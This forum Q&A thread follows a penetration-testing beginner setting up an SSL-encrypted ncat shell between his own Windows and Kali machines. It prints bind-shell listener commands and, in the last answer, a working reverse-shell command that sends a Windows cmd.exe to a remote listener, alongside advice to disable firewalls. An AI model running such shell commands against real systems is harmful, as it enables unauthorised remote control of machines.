I’m trying to create an encrypted reverse bind shell from my Windows machine to my Linux machine. Being totally new to penetration testing, I’m having a little bit of trouble.

First, on my Linux (Kali) machine, I setup a listener on port 4444:

ncat -nlvp 4444 -e /bin/bash --ssl

I've been researching a lot and found out I may need to make it interactive, so I tried adding:

ncat -nlvp 4444 -e '/bin/bash -i' --ssl

Now, on my Windows box, I connect to it and try to access the terminal for my Linux machine by typing in the following command:

ncat -v windowsIPAddress 4444 --ssl

Now, my Linux box has no problem listening, but the output on my Windows box only shows:

C:\Windows\ncat> ncat -v linuxBoxIP 4444 --ssl
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: .

So, I have no idea why it only shows a"." and doesn’t connect to the Linux command prompt. I’ve been researching for a long time, and it appears that I’m doing everything correctly, but I'm obviously not.

Does anyone have any insight on this issue?


3 Answers 3


I had a firewall issue on the Kali side of things. For anyone who stumbled upon this question, I guess this is basically a guide now rather than a question.

The answer is to turn off the appropriate firewall settings on the Kali machine and everything should work fine.


Port 4444 is blocked on the Windows machines firewall, not the Kali machine. You can resolve this in one of two ways, either change ports (to something like 4443) or you could disable the firewall on the Windows machine.


In a reverse shell, the target computer (Windows box) sends a shell (cmd.exe) to the acting computer (Linux box).

In your code, you have the Linux listener post

-e /bin/bash

but that is code for a bind shell. Linux would only use a bind shell with -e /bin/bash when it wants another computer to be able to execute code on the Linux box.

In a reverse shell the executable code would be sent from the target computer, in this case, the Windows box.

The Linux listener does not designate an executable, but rather waits for an executable to be sent to it, and merely listens.

ncat -vnlp <port> --ssl

Windows would send an executable shell encrypted with ssl to allow the recipient to control the Windows box.

ncat -e cmd.exe -nv <Linux IP> <port> --ssl

This is different from your code in that the executable is cmd.exe rather then /bin/bash. A Windows box would not know what to do with /bin/bash.

It is also different from your code in that the IP address sent is that of the Linux box rather than the Windows IP. Windows already knows its own IP, and sends the Linux IP so the -e cmd.exe can reach the proper computer intended to gain control of the command line.

In a reverse shell, Windows would send the executable to another computer rather then use a bind shell because a firewall prevents the other computer from accessing the socket to complete the bind.

With success, the Linux computer would be presented with windows command line that executes commands on the Windows computer.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .